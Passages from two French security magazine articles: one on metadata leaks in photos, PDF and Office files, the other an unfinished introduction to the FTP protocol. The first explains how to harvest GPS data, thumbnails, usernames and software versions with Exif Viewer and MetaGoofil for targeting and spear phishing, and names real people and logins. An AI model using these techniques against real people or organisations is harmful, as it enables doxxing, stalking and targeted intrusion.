les détails de la spécification Exif, il faut 
savoir que les métabalises décrivent 
dans ce standard notamment :

•  le nom de l'appareil avec lequel la 
photo a été prise,

•  les paramètres de l'appareil, tels que 
durée d'exposition, valeur de l'écran, 
sensibilité de la matrice, etc.,

•  la date de la prise de la photo,

•  la résolution en pixels,
•  la miniature de l'image,
•  les coordonnées  géographiques 

exactes de l'endroit où la photo a été 
prise.

Le problème est lié au fait que au 
moment de partager les photos 
prises, les particuliers et les grandes 
organisations font rarement attention  
aux métadonnées publiées avec !

La plupart d'attributs susmentionnés, 
enregistrés au cours de la prise de 
photos ne nécessitent aucune explication, 
nous nous arrêterons un instant aux 
deux derniers paramètres, à savoir la 
miniature de la photo et les données de 
géolocalisation. La miniature de la photo 
est enregistrée avec d'autres paramètres 
pendant la prise de la photo. L'utilisateur 
de l'appareil traite très souvent les photos 
par la suite dans les programmes 
graphiques spécialisés en modifiant les 
couleurs, en coupant un fragment, en 
supprimant les éléments inutiles, etc. Si 
le programme utilisé par la personne 
pour ce but ne supporte pas le format 
Exif, la photo sera le plus probablement 
modifiée mais ses métadonnées ne 
le seront pas. L'utilisateur obtiendra en 
résultat une photo modifiée contenant  
la miniature de l'image originale. Quelles 
peuvent en être les conséquences ? 
Prenons l'exemple de Catherine 
Schwartz, présentatrice américaine d'une 
chaîne télé TechTV. En juin 2003, elle a 
mis dans son blog plusieurs photos qui 
la représentent seule. Les photos elles 
mêmes n'étaient pas particulières, elles 
montraient la présentatrice en train de 
fumer une cigarette. La photo la montrait 
à partir des épaules. Les internautes ont 
découvert rapidement que les photos 
contiennent des métadonnées très 
intéressantes. La miniature Exif s'est 
avérée plus intéressante que la photo 
elle-même car la photo originale montrait 
la présentatrice à partir de hanches 
toute nue. Le programme utilisé pour le 
traitement de photos, Photoshop, n'a pas 
actualisé les métadonnées de la photo.

Cela semble surprenant au premier 
abord mais les appareils photo 
modernes (par exemple, Nikon Coolpix 
P6000) et les téléphones qui permettent 

Figure 1. Excursion virtuelle autour d'une maison où une photo numérique a été prise : 
tout cela est possible grâce aux métadonnées contenues dans le fichier !



DOSSIER

26 HAKIN9 6/2009

de prendre des photos (par exemple, 
iPhone) sont capables d'enregistrer 
automatiquement les coordonnées 
géographiques de l'endroit où la photo 
a été prise dans les fichiers graphiques. 
Vous connaissez probablement l'histoire 
d'un utilisateur d'iPhone (connu sur 
Internet comme Nephew chan) qui 
a présenté une photo de sa tente 
en bain sur un forum Internet public. 
Comme ces photos contenaient les 
coordonnées géographiques ajoutées 
authentiquement par le téléphone, un 
autre utilisateur du forum a retrouvé 
l'admirateur et a commencé à le faire 
chanter en demandant d'autres photos. 
Finalement, toute l'histoire a été mise au 
jour et tous les protagonistes ainsi que 
la communauté Internet ont appris les 
détails de cette histoire exceptionnelle.

Les exemples présentés démontrent 
clairement que partager ses propres 
photos sans réfléchir peut avoir des 
conséquences néfastes. Comment un 
cybercriminel peut collecter, analyser 
et utiliser à ses propres fins les 
métadonnées contenues dans les fichiers 
graphiques ?

La première étape consiste 
bien évidemment à trouver des 
photos susceptibles de contenir des 
métadonnées intéressantes. Trouver des 
données principales n'est pas le sujet 
clé de cet article, je mentionnerais donc 
seulement que pour trouver des photos 
appartenant à une organisation ou une 
personne particulière, il suffit de bien 
parcourir Internet. À l'ère de la révolution 
numérique, lorsque quasiment toutes 
les organisations et les particuliers ne 
peuvent pas se passer d'un site Web, d'un 
blog photo ou d'un e-commerce,  
|trouver des photos numériques liées  
à une institution ou une personne qui nous 

intéresse consiste le plus souvent  
à former une requête appropriée dans  
l'un des moteurs de recherche. Une fois 
les fichiers intéressants trouvés, utiliser  
les métadonnées y contenues n'est  
qu'un jeu d'enfant.

Regardons comment les métadonnées 
collectées par l'intrus dans l'une des 
histoires racontées ont été utilisées. Afin 
de trouver une photo originale mises sur 
Internet par Nephew chan, il suffit de faire 
une requête dans le moteur de recherche 
Google. Nous retrouvons rapidement la 
photo utilisée par l'intrus, elle est accessible 
à l'adresse suivante : http://images.en
cyclopediadramatica.com/images/0/
01/Nephew-owned.jpg. Ensuite, il suffit 
d'analyser les métadonnées Exif, contenues 
dans le fichier. La méthode la plus simple 
pour ce faire consiste à installer un 
complément appelé Exif Viewer dans le 
navigateur Firefox. Une fois le complément 
installé et le navigateur redémarré, il suffit 
d'afficher la photo en faisant un clic droit 
dessus, de sélectionner l'option View Image 
Exif Data. La fenêtre du complément Exif 
Viewer s'affichera. Elle contient une série 
d'informations Exif. L'image contient les 
données suivantes (liste réduite, en raison 
de lisibilité) :

•  Camera Make = Apple,
•  Camera Model = iPhone,
•  GPS Latitude Reference = N,
•  GPS Latitude = 38/1,3550/100,0/1 

[degrees, minutes, seconds] ===> 38° 
35.5° ,

•  GPS Longitude Reference = W,
•  GPS Longitude = 90/1,2657/100,0/1 

[degrees, minutes, seconds] ===> 90°  
26.57° .

Exif Viewer génère également le fichier KML 
(en anglais Keyhole Markup Language), 

permettant d'afficher immédiatement 
l'emplacement indiqué par les données GPS 
dans le programme Google Earth. Après 
avoir trouvé la photo qui nous intéresse, 
nous sommes capables d'afficher la carte 
satellite de l'endroit où elle a été prise ! De 
plus, grâce au service Google Street View, 
proposant les vues panoramiques de 
certaines parties du monde (aujourd'hui 
principalement les États-Unis), nous 
pouvons faire une excursion virtuelle autour 
de la maison (Figure 1), où la photo a été 
prise ! Est-ce la magie ? Non, il s'agit tout 
simplement de profiter des métadonnées 
partagées de manière irréfléchie.

Nous essayerons à présent trouver 
des métainformations intéressantes 
cachées dans les photos présentes 
sur la toile. En parcourant le site Web 
du Président de Pologne, j'ai décidé de 
vérifier si les métadonnées des photos 
y présentes sont préparées de manière 
professionnelle et si elles ne cachent 
pas d'informations supplémentaires. J'ai 
trouvé des photos simples en apparence 
à l'adresse http://www.prezydent.pl/
x.download?id=29526128. Elles présentent 
Lech Kaczyński en réunion avec le pape 
actuel. L'analyse des métadonnées du 
fichier JPG, à l'aide du complément 
Exif Viewer, a révélé plusieurs détails 
intéressants. Avant tout, la vue de la photo 
originale (Figure 2) révèle que la Première 
Dame a été effacée de la photo placée 
sur le site. Est-ce que le Président a honte 
de son épouse et a ordonné de l'effacer 
d'une partie de photos publiées sur le site 
Web officiel ? D'autres métadonnées qui 
ne devraient pas se trouver forcement 
sur la version finale de la photo : By-line 
= Jacek Turczyk et Originating Program 
= FotoWare FotoStation. La photo nous 
donne les coordonnées personnelles du 
photographe qui l'a prise et le type du 
logiciel (spécialisé et cher) qu'il a utilisé. 
En analysant d'autres photos de ce site, 
nous serons capables de trouver d'autres 
métadonnées, une partie de photos ne 
contient en revanche aucune donnée 
Exif. Les personnes responsables du site 
www.prezydent.pl n'ont pas encore défini 
une politique correcte de gestion des 
métadonnées. J'ajoute encore qu'il est 
dif ficile de trouver une photo dépourvue 
de métadonnées intéressantes sur le site 

Figure 2. La première dame a été supprimée sur une partie de photos présentes sur 
le site Web du Président de Pologne
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Web www.premier.gov.pl (premier ministre 
polonais).

Publier les photos contenant des 
métadonnées peut faire apparaître 
des risques supplémentaires, invisibles 
au premier abord. Remarquons qu'en 
analysant les métadonnées, nous 
obtenons les informations directement 
ou indirectement sur le logiciel spécifique 
utilisé par les photographes ou les 
personnes qui modifient les photos.  
À titre d'exemple, si la photo est prise 
avec l'appareil  iPhone, l'auteur possède 
le plus probablement le logiciel Itunes sur 
son ordinateur. Si la photo est prise avec 
l'appareil Canon EOS 400D, l'ordinateur de 
l'auteur est équipé le plus probablement 
d'un logiciel fourni par le fabricant. Si 
les données Exif montrent la dernière 
modification effectuée au moyen du 
paquet Adobe Photoshop, l'auteur dispose 
le plus probablement de ce logiciel. Les 
métadonnées contiennent souvent les 
informations qui précisent la version 
concrète du logiciel. Un cracker rusé peut 
utiliser ce type d'informations pour choisir 
un exploit correct (ciblé à un type concret 
de logiciel), ce qui lui permettra d'effectuer 
une attaque efficace sur les ordinateurs de 
l'auteur des photos. Ce type d'informations 
(type et version du logiciel) peut être utilisé 
aussi dans les attaques du type spear 
phishing. Spear phishing constitue une 
sorte de phishing ciblé (en anglais spear 
– lance). À titre d'exemple, si nous savons 
que l'auteur de la photo utilise un logiciel 
spécialisé FotoWare FotoStation Pro, l'intrus 
faisant semblant d'être un représentant 
de la société FotoWare peut envoyer un 
message spécialement préparé à sa 
victime. En se servant des symboles et 
des structures graphiques utilisées par 
la société FotoWare (ces informations se 
trouvent sur le site officiel du fabricant), 
l'intrus peut préparer un faux message 
envoyé par ce fabricant spécialement 
aux utilisateurs enregistrés du paquet 
FotoStation Pro. Ce message contiendrait 
un complément critique (qui en réalité 
est un cheval de Troie, un virus, etc.). du 
logiciel et qui recommanderait de l'installer 
immédiatement. Connaissant en plus les 
coordonnées de la personne attaquée (à 
titre d'exemple, grâce à l'entrée By-line  
= dans les métadonnées de la photo),  

il peut adresser ce message en utilisant 
le prénom et le nom découverts pour 
augmenter sa crédibilité. Le phishing de ce 
type, précisément ciblé, a plus de chance 
de réussir car il est plus crédible que 
les centaines de milliers de messages 
généraux adressés à tout le monde et non 
à une personne précise.

Pour terminer nos réflexions sur 
les métadonnées contenues dans les 
fichiers graphiques, il faut mentionner 
deux services qui peuvent aider les 
intrus à trouver les photos contenant des 
métadonnées intéressantes. Si un intrus 
trouve une photo publiée par une personne 
ou une institution qu'il recherche et cette 
photo est dépourvue de métadonnées, 
il existe une autre astuce. Pour trouver 
d'autres occurrences de la même photo ou 
d'une photo similaire sur Internet, le cracker 
peut se servir d'une recherche d'images 
inverse (en anglais reverse image 
search). Le service tineye.com propose de 
rechercher toutes les occurrences d'une 
photo donnée (indiquée par une adresse 
URL ou téléchargée depuis un disque local) 
sur Internet. L'intrus espère ainsi de trouver 
une autre occurrence de la même photo 
avec des métadonnées intéressantes.  
Le service Wayback Machine peut servir 
aux recherches similaires. Ce service 
permet de parcourir les versions d'archives 
de n'importe quel site Web. Même si une 
institution publie aujourd'hui des photos 
dépourvues de métadonnées, ces moyens 
de protection n'étaient pas en vigueur 

dans le passé et la version d'archive du 
site pourrait contenir des photos avec des 
métadonnées.

Comme vous pouvez voir sur les 
exemples démontrés, si vous publiez des 
photos sur Internet, réfléchissez ce que 
vous partagez en le faisant. En publiant 
une photo compromettante, n'oubliez pas 
que cacher un visage ou découper un 
fragment pourrait être insuffisant. Vérifiez 
donc si les métadonnées ne contiennent 
pas de miniature de la photo originale !

Non seulement les photos
Générer les métadonnées importantes  
du point de vue de la sécurité 
d'informations n'est pas uniquement le 
domaine de fichiers graphiques. Les 
métainformations sont intégrées dans de 
nombreux formats dif férents de fichiers. 
Il faut faire particulièrement attention aux 
fichiers au format PDF et Microsoft Office 
car ils sont les plus populaires.

L'histoire de Dennis Rader peut 
nous apprendre que les métadonnées 
contenues dans un fichier DOC sont 
extrêmement importantes. Ce meurtrier 
en série, qui avait tué 10 personnes aux 
États-Unis dans les années 1974 – 1991, 
était particulièrement connu de sa cruauté 
et de la passion pour correspondre avec 
la police et les médias. En 2005, il a 
décidé d'envoyer un message sous forme 
électronique et l'a fait sur une disquette. 
Les policiers ont analysé les métadonnées 
contenues dans le fichier DOC, ont trouvé 

Figure 3. Métadonnées texte contenus dans le fichier PDF
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le nom de l'église à laquelle Rader était lié 
(Christ Lutheran Church) et les données 
de l'utilisateur qui avait modifié le fichier en 
dernier (Dennis). Ces informations ont bien 
évidemment suffit pour trouver et arrêter le 
meurtrier en série.

L'histoire moins sobre de David L. Shith 
est également connue. David, concepteur 
du virus connu Melissa, a été retrouvé 
grâce aux données GUID (en anglais 
Globally Unique Identifier) contenues dans 
plusieurs fichiers DOC. Ces informations 
ont permis d'arrêter Shith et de le 
condamner à 20 mois de prison.

La plus simple méthode pour trouver 
des métadonnées dans n'importe quel 
fichier, même celui dont le format est 
inconnu, consiste à l'ouvrir dans un 
éditeur de texte. En général, à côté des 
suites de caractères complètement 
illisibles se trouve une série de lignes 
au format XML contenant des entrées 
lisibles et faciles à interpréter. À titre 
d'exemple, si nous ouvrons un fichier 
PDF (Figure 3) dans l'éditeur de texte 
Notepad++, nous trouverons plusieurs 
informations intéressantes. L'entrée <xap:
CreatorTool>Acrobat PDFMaker 8.1 for 
Word</xap:CreatorTool> suggère clairement 

que l'auteur a utilisé le programme 
PDFMaker 8.1 pour générer le fichier. Dans 
le cas de fichiers PDF, nous n'avons pas 
besoin de regarder le fichier texte, ce qui 
n'est pas très agréable. Il suffit d'ouvrir le 
fichier susmentionné dans le navigateur 
Adobe Reader et de sélectionner 
ensuite l'option propriétés dans le menu 
fichier.  Vous verrez alors s'afficher une 
fenêtre (Figure 4) présentant plusieurs 
métainformations contenues dans le fichier, 
notamment :

•  auteur : "Ruhnka, Bagby",
•  application : Acrobat PDFMaker 8.1 for 

Word,
•  concepteur PDF : Acrobat Distiller 8.1.0 

(Windows),
•  version PDF : 1.6 (Acrobat 7.x).

Ce type de données (type et version du 
logiciel utilisé par l'auteur) peut servir à 
l'intrus pour choisir un exploit efficace dans 
les attaques du type spear phishing dont 
nous avons parlé auparavant. Remarquons 
aussi que la ligne Auteur : "Ruhnka, Bagby" 
peut contenir des logins potentiels (car 
ce sont des noms que l'auteur utilise lors 
du travail sur l'ordinateur) que le cracker 

pourra ensuite tester pour obtenir un accès 
aux services utilisés par l'auteur en prenant 
son identité. Dans ce cas-là, servir Ruhnka 
et Bagby sont des noms de deux auteurs 
du document.

Les informations similaires peuvent 
être trouvées suite à l'analyse des 
métadonnées contenues dans les fichiers 
DOC (et autres types de fichiers générés 
par le paquet Microsoft Office). De même 
que les fichiers PDF, il est possible d'ouvrir 
les fichiers générés par MS Word dans un 
éditeur texte et de trouver les métadonnées 
contenues dans le fichier. Ce n'est pas 
très pratique. Il est possible d'obtenir ces 
données sous une forme plus claire en 
affichant les propriétés du fichier DOC 
sous Windows et en passant à l'onglet 
Conclusion. Dans le fichier test que j'ai 
téléchargé depuis le site www.abw.gov.pl 
(site de l'Agence de la sécurité interne) j'ai 
trouvé des métadonnées suivantes :

•  auteur m_wilczek,
•  enregistré la dernière fois par 

war009262.

Est-ce que les données de ce type 
peuvent constituer un risque ? Cela ne 
peut pas être exclu. Elles peuvent aider en 
quelque sorte à déterminer les données 
personnelles des auteurs de ce document 
ou à déterminer les logins d'utilisateur 
qu'ils utilisent. Cela prouve également que 
l'Agence de la sécurité interne ne fait pas 
particulièrement attention au problème de 
sécurité des métadonnées.

Microsoft lui-même avertit sur son site 
que les métadonnées contenues dans 
les fichiers Office peuvent révéler les 
informations suivantes :

•  prénom, nom, initiaux,
•  nom de l'entreprise ou de 

l'organisation,
•  nom de l'ordinateur,
•  nom du serveur de fichiers ou 

du disque où le document a été 
enregistré,

•  données relatives aux objets OLE 
utilisés dans le document,

•  données personnelles des personnes 
qui ont édité auparavant le fichier,

•  données relatives à la version du 
document,Figure 4. Métadonnées dans le fichier PDF : vue du niveau du navigateur Adobe Reader
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•  informations concernant le modèle du 
document utilisé,

•  commentaires.

Nous pouvons donc constater qu'un 
particulier ou une institution qui publie sur 
Internet ses propres fichiers MS Office 
risque beaucoup. Un petit pour cent de 
ces fichiers est publié par les auteurs 
qui se rendent compte que ces fichiers 
peuvent fournir de nombreuses informations 
aux curieux.

Pour terminer, je voudrais présenter 
un logiciel conçu spécialement pour la 
collecte et le traitement de nombreuses 
métadonnées, appartenant à une 
organisation concrète. Il s'agit de MetaGoofil. 
C'est un vrai outil complexe permettant de 
collecter des métadonnées depuis toute 
sorte de documents publiés sur les sites 
Internet d'une organisation indiquée. Le 
fonctionnement de l'application est assez 
simple. MetaGoofil recherche (dans le 
moteur de recherche Google) les fichiers 
contenant des métainformations (par 
exemple, site:domena.com filetype: pdf) dans 
le domaine et les types de fichiers donnés. 
Ensuite, les fichiers trouvés sont téléchargés 
sur le disque local et les métadonnées  
y présentes sont collectées et filtrées à 
l'aide de la bibliothèque libextractor (pour 
tester les énormes fonctionnalités de cette 
bibliothèque, rendez-vous sur le site Web  
http://gnunet.org/libextractor/demo.php3
?xlang=English). Les résultats globalisés 
sont enregistrés sur le disque sous forme 
du fichier HTML. Afin de bénéficier des 
fonctionnalités du programme MetaGoofil, 
il suffit de le lancer avec les paramètres 
suivants : ./metagoofil.py -d domena.com 
-f all -l 100 -o domena.html -t temp. Voici 
la signification de tous les paramètres 
d'appel :

•  -d domena.com: nom du domaine  
à analyser,

•  -f all: type de formats de fichiers pris en 
compte (all signifie l'analyse de tous les 
types de fichiers supportés),

•  -l 100: limite du nombre des résultats 
traités,

•  -o domena.html: nom du fichier HTML 
résultat,

•  -t temp: répertoire contenant les fichiers 
téléchargés pour une analyse.

MetaGoofil est capable de collecter les 
informations intéressantes comme :

•  logins potentiels des utilisateurs utilisés 
dans l'organisation donnée,

•  chemins aux ressources fichiers (cela 
permet de reconnaître les systèmes 
d'exploitation utilisés, les noms de 
réseau et les noms des montages 
partagés) dans lesquels les fichiers 
analysés étaient édités,

•  adresses MAC (d'après les identifiants 
GUID des fichiers Office où se trouve 
l'adresse physique de l'hôte courant) 
des ordinateurs sur lesquels les fichiers 
ont été édités.

Je ne répéterai pas comment les 
informations de ce type peuvent être 
utilisées. Comme vous pouvez le constater, 
les fonctionnalités du script (MetaGoofil est 
en réalité un script écrit en langage Python) 
sont énormes. L'intrus à la recherche 
d'informations sur une organisation 
donnée n'a plus à chercher et à analyser 
individuellement chaque fichier publié sur le 
site. Le programme n'omettra aucun détail 
et affichera toutes les informations obtenues 
sous forme d'une page HTML claire. L'intrus 
n'a qu'à utiliser ces informations pour 
planifier une attaque efficace.

Conclusion
Les protections adéquate de métadonnées 
peuvent constituer un sujet d'un article à 
part. Une analyse générale de la question 
démontre que cela ne pose aucun 
problème. Des applications gratuites existent 
qui permettent de supprimer les données 
Exif des fichiers JPG. Microsoft propose des 

compléments gratuits pour le paquet Office, 
permettant de supprimer les métadonnées 
dans les fichiers créés aux formats les plus 
populaires. Internet propose également 
de nombreux programmes indépendants, 
capables de gérer plusieurs formats de 
métadonnées. Enfin, il est possible d'éviter 
de nombreuses fuites d'informations tout 
simplement en ne partageant pas les 
fichiers DOC sur le réseau car ils ne s'y 
prêtent pas. MS Word est un programme 
conçu pour éditer les fichiers et ils devraient 
être utilisés à ces fins. Ce n'est sûrement pas 
un format conçu pour les publications, en 
particulier sur la Toile !

Pourquoi donc les particuliers et les 
institutions sérieuses (bureau du président 
de Pologne, Agence de sécurité interne) 
partagent des milliers de métainformations 
sur leurs sites ? Dans le cas des 
particuliers, nous pouvons expliquer cette 
situation par manque de connaissances  
et inconscience de risques. Mais comment 
expliquer les opérations de l'Agence de 
sécurité interne ?

Toutes les institutions doivent réfléchir 
sérieusement à la mise en place d'une 
politique cohérente de gestion des 
métadonnées. Les métadonnées sont 
peut-être critiques dans de nombreux cas 
et il faut donc les prendre en considération 
dans les procédures intégrées de sécurité 
informatique.
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L'auteur est diplômé de la faculté d'Automatique, 
d'Electronique et d'Informatique de l'Ecole Polytechnique 
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données, les réseaux et les systèmes informatiques. 
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Afin de stocker et partager des 
informations via l'internet, il est très 
pratique d'user d'un service de 

communication FTP sur le réseau TCP/IP. 
La contraction FTP réduit l'expression anglaise 
"File Transfer t Protocol" (RFC 959). Ce service 
utilise le port 21 afin de distribuer des données 
selon droits et privilèges particuliers. Le 
service FTP obéit à un modèle client/serveur 
traditionnel, c'est-à-dire que le client envoie des 
requêtes auxquelles réagit le serveur. Il s'agit 
donc d'un protocole, c'est-à-dire un langage 
standard de communication entre deux 
machines permettant à des machines d'un 
type dif férent (ou dont le système d'exploitation 
est dif férent) de transférer des fichiers sur un 
réseau  sous TCP/IP. Avec les serveurs Web 
HTTP dont la nature n'est pas très dif férente, 
le service FTP est parmi les plus populaires. 
Ajoutons encore que la variante de FTP 
protégée par les protocoles SSL ou TLS  
(SSL étant le prédécesseur de TLS) s'appelle 
FTPS dans une logique appréciable (RFC 2228).  
La mise en place du protocole FTP date 
de 1971, date à laquelle un mécanisme 
de transfer t de fichiers (RFC 141) entre les 
machines du MIT (Massachussetts Institute 

Sicchia DiDier

Cet artiCle 
explique...
Les avantages du protocole FTP.

Les faiblesses du protocole FTP.

explication relative à la 
probabilité conditionnelle. 

comment exploiter les failles 
propres aux services FTP.

Ce qu'il faut 
savoir...
Savoir utiliser un client FTP 
quelconque.

Des notions en langage Perl 
seront un avantage.

of Technology) avait été mis au point. De 
nombreux RFC ont ensuite apporté des 
améliorations au protocole de base, mais 
les plus grandes innovations datent des 
années soixante-dix. Depuis le phénomène 
ne désemplit pas et l'usage d'un FTP reste 
un cas d'école élémentaire. Pour cette raison, 
aujourd'hui il sera l'objet de notre rubrique 
« BackUp ».

FTP s'appuie sur le protocole Telnet pour 
établir le dialogue du canal de contrôle.  
Ceci est ef fectif en deux sens: premièrement, 
le USER-PI ou le SERVER-PI devront suivre 
les règles du protocole Telnet. Toutes les 
communications ef fectuées sur le canal 
de contrôle suivent les recommandations 
du protocole Telnet traditionnel. Ainsi les 
commandes FTP sont des chaînes de 
caractères Telnet en code NVT-ASCII terminées 
par le code de fin de ligne Telnet (comprendre 
la séquence <CR>+<LF>, Carriage Return  
(retour chariot) suivi du caractère Line Feed, 
notée <CRLF>). Si la commande FTP réclame  
un paramètre particulier, celui-ci est séparé  
de la commande par un espace (<SP>).  
A cet ef fet, nous dressons une liste importante 
des dif férentes commandes propres au 

Degré de difficulté

Le paradoxe 
du modèle FTP
Dès le début de la révolution internet, il devint important de 
stocker largement des applications, des données et des 
informations sur des supports physiques importants et avec la 
volonté de partager celles-ci selon droits et privilèges particuliers. 
De ce constat, un protocole spécifique fut réfléchi et développé, 
comprendre « file transfert protocol ». Le service FTP repose 
sur un protocole simple mais efficace. Néanmoins, il semble 
particulièrement sensible à quelques ambiguïtés qui lui sont 
propres. examinons le principe du paradoxe FTP dont la nature 
s'applique aussi à d'autres services. 
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protocole FTP. Celles-ci sont explicites 
dans la RFC correspondante. Elles sont 
établies sur la base de 3 catégories 
particulières: 

• Commandes de contrôle  
d'accès (login et mdp, etc), 

• Commandes de paramètres  
de transfer t (traitement et port, etc),

• Commandes de service FTP 
(rename et delete, mkd, get, etc). 

les commandes de 
contrôle d'accès.
Afin de simplifier le principe, nous 
parlerons plutôt d'authentification  
par mot de passe (mdp) et login.  
Le service FTP gère les droits des 
usagés multiples selon un principes  
de privilèges accordés par l'admi 
nistrateur. Une fois l'authentification 
réussie, il se présente encore d'autres 
alternatives non-négligeables  
(Tableau 1).

Encore un petit mot afin de 
signifier le caractère impérieux de 
l'authentification. Ef fectivement, il n'est 
pas possible de contrôler le flux des 
commandes de contrôle d'accès 
autrement qu'en débutant par une 
saisie USER puis PASS. Lorsque que 
la procédure d'authentification est 

correcte ou incorrecte, un serveur  
FTP répond par un code de procédure 
adéquat (un numéro propre à une 
information citée dans la RFC).  
Les citer dans leur ensemble 
encombrerait nos colonnes sans 
apporter de réelle utilité dans 
l'immédiat car elles sont plusieurs 
centaines. Si la première procédure 
est concluante, il est alors possible 
de définir les paramètres de transfer t 
selon FTP et TCP/IP.

Commandes de paramètres  
de transfer t .

A présent, il se présente cer- 
taines alternatives afin de stocker 
et télécharger les fichiers divers via 
protocole FTP et les attributs TCP/IP. 
Bien entendu, le novice saura se 
reporter sur une configuration par 
défaut très convenable et qui évite 
de se lancer dans une procédure 
par moment complexe. Néanmoins, 
prenons le temps de définir ces 
quelques commandes particulières 
(Tableau 2).

Le mode de passage des 
données est une commande 
importante puisqu'elle se repose 
sur la nature même des échanges 
selon le protocole TCP/IP. Ainsi, il 
est possible de « recomposer » un 
fichier quelconque selon dif férentes 
alternatives qui sont notamment :

• Streaming , comprendre flux 
constant (commande S). Les 
données sont transmises comme 
un flux d'octets. Il n'y a dans ce 
cas aucune restriction sur la 
représentation des données,

• Block , comprendre par portion 
(commande B). Le fichier est 
transmis comme une suite de 
portions de données précédées 
d'un ou plusieurs octets d'en-tête 
afin de conditionner le transfer t ,

Tableau 1.

USER Login Chaîne de caractères afin de saisir le login.

PASS Password Chaîne de caractères pour le mot de passe.

ACCT Account Chaîne de caractères propre au compte USER.

CWD Change working dir Permet de changer le répertoire courant. 

CDUP Change parent dir Permet de remonter au répertoire courant. 

REIN Reinitialize Réinitialisation de la connexion avec notre FTP.

QUIT End session Permet de clôturer une sessions FTP en cours.

Figure 1. Andrey Kolmogorov, mathématicien russe

Tableau 2.

PORT Canal de passage Chaîne de caractères afin de définir le port.

PASV Canal aléatoire Permet d'attribuer un port de com aléatoire.

TYPE Format d'échange Permet de définir le format des échanges FTP.

STRU Structure fichier Permet de définir la nature du fichier.

MODE Mode de passage Permet de définir les échanges selon TCP/IP.
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• Compressed, sous-entend une 
compression des données afin 
de réduire les duplications dans 
le fichier et durant le transfer t . 
L'ensemble est conditionné par des 
séquences d'échappement à deux 
octets.

Commandes  
de service ftp.
Au-delà de toutes ces considéra- 
tions, un service FTP repose sur 
de nombreuses commandes afin 
d'échanger des fichiers. Celles-ci  
sont multiples et permettent d'aller bien  
plus loin qu'un simple transfer t . C'est 
alors qu'apparaît vraiment la nature  
du serveur FTP. Les commandes 
suivantes sont exécutées côté serveur 
(Tableau 3).

Bien entendu, vous l'aurez remarqué 
en lecteur assidu, nous n'avons pas 
encore expliqué la commande par 
excellence sur FTP, comprendre la 
commande GET qui permet d'obtenir  
un fichier par transfer t et via le protocole 
TCP/IP. Elle se définie ainsi, GET nom_
du_fichier.

un exemple de connexion 
ftp traditionnel.
Afin de clarifier notre explication  
sur les transfer ts FTP, nous allons 
rédiger sur papier une connexion 
quelconque. celle-ci s'ef fectue sur 
serveur FTP libre, comprendre public  
et avec des privilèges très limités.  
Ainsi, il ne nous sera pas possible 
d'ef facer des fichiers ou de modifier 
la nature du serveur. Néanmoins, 
il compose un bel exercice pour 
les débutants (en rouge figure nos 
requêtes). Vous remarquerez que 
les commandes sont par fois un peu 
dif férentes selon les FTP. Afin d'éviter 
les problèmes, il faut profiter de la 
commande HELP et lister ainsi les 
véritables commandes (Listing 1).

Dans cet exemple simple, nous 
constatons la présence de code 
avant certaines lignes d'informations. 
Ceux-ci sont spécifiques et reposent 
sur la rigueur des dif férentes RFC. 
Par exemple, le code 220 attribue un 
flag d'identification lors du premier 

Listing 1.

geckoo@geckoo-laptop:~$ ftp 

ftp> open 

(to) ftp.arnes.si 

Connected to vevnica.arnes.si. 

220- 

220- Hello! 

220- Welcome to the ARNES archive, Please login as `anonymous' with 

220- your E-mail address as the password to access the archive. 

220- See the README file for more information about this archive. 

220- 

Name (ftp.arnes.si:geckoo): anonymous 

331 Please specify the password. 

Password: snakeee@free.fr

230 Login successful. 

Remote system type is UNIX. 

Using binary mode to transfer files. 

ftp> ls 

200 PORT command successful. Consider using PASV. 

150 Here comes the directory listing. 

drwxr-xr-x   3 14    50    4096 Jan 20 13:50 arnes 

drwxr-xr-x   2 14    50    4096 Jan 20 13:51 books 

drwxr-xr-x   4 14    50    4096 Jan 20 13:53 faq 

drwxr-xr-x   2 14    50    4096 Oct 15  2008 formularji 

drwxr-xr-x   3 14    50    4096 Mar 01  1996 magazines 

drwxr-xr-x   5 14    50    4096 Mar 17 14:13 mirrors 

drwx--x--x   5 14    50    4096 Apr 14 20:36 mmedia 

drwxr-xr-x   5 14    50    4096 Jan 20 14:03 network 

drwxr-xr-x  33 14    50    4096 Jan 27 15:23 packages 

lrwxrwxrwx   1 14    50       8 Jan 29 10:04 packages2 -> packages 

lrwxrwxrwx   1 14    50       8 Jan 29 10:04 packages3 -> packages 

drwxr-xr-x   5 14    50    4096 Jun 01  2000 security 

drwxr-xr-x  11 14    50    4096 Jan 27 15:24 software 

drwxr-xr-x   2 14    50    4096 Mar 01  1996 strokovni-svet 

drwxr-xr-x   3 14    50    4096 Mar 01  1996 szf 

226 Directory send OK. 

ftp> syst 

215 UNIX Type: L8 

ftp> mode 

We only support stream mode, sorry. 

ftp> cd magazines 

250 Directory successfully changed. 

ftp> ls 

200 PORT command successful. Consider using PASV. 

150 Here comes the directory listing. 

drwxr-xr-x   2 14    50    4096 Feb 12  1998 informatica 

226 Directory send OK. 

ftp> cd informatica 

250 Directory successfully changed. 

ftp> get general.txt 

local: general.txt remote: general.txt 

200 PORT command successful. Consider using PASV. 

150 Opening BINARY mode data connection for general.txt (4103 bytes). 

226 File send OK. 

4103 bytes received in 0.02 secs (224.5 kB/s) 

ftp> quit 

221 Goodbye. 

geckoo@geckoo-laptop:~$ 
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échange. Par fois, il livre même la 
version et le nom du programme FTP. 
Nous expliquerons plus tard que c'est 
une erreur grossière que de permettre 
ce partage d'informations sensibles. 
Le code 221 signifie une clôture de la 
session.

la théorie 
du paradoxe ftp.
En sécurité informatique, c'est une  
règle essentielle : Plus on s'exprime  
et plus on augmente le risque de 
dévoiler ses faiblesses. Or, comme  
nous l'avons vu auparavant, un service 
FTP est très bavard. Il demande 
beaucoup de paramètres et autres 
commandes (plus d'une trentaine) afin 
de conditionner un transfer t adéquat. 
Toutes ces particularités engendrent 
autant de possibilités d'exploitations 
malveillantes et insidieuses. Les 
amateurs de rhétoriques pourront se 
pencher sur le principe de la probabilité 
conditionnelle. A l'origine de cette 
théorie, on retrouve la large étude de 
Andrey Kolmogorov sur le thème des 

probabilités complexes. Bien que  
notre mathématicien russe ne s'est  
pas consacré à l'étude des FTP, son 
analyse trouve un écho intéressant  
dans notre dossier présent. En  
d'autres termes et dans notre cas,  
plus il se présente de commandes  
(ou d'informations comme le flag ID) 
dans un programme, plus on augmente 
la probabilité de découvrir une faille 
dans l'application. C'est le propre de 
ce que l'on nomme présentement le 
paradoxe FTP eu égard à la masse 
importante de commandes et 
d'informations.

Une commande quelconque  
intégrée dans une application FTP 
demande (lors de son développement) 
une allocation mémoire afin de traduire 
en NVT-ASCII un appel de fonction.  
A cet ef fet, si ce développement souf fre 
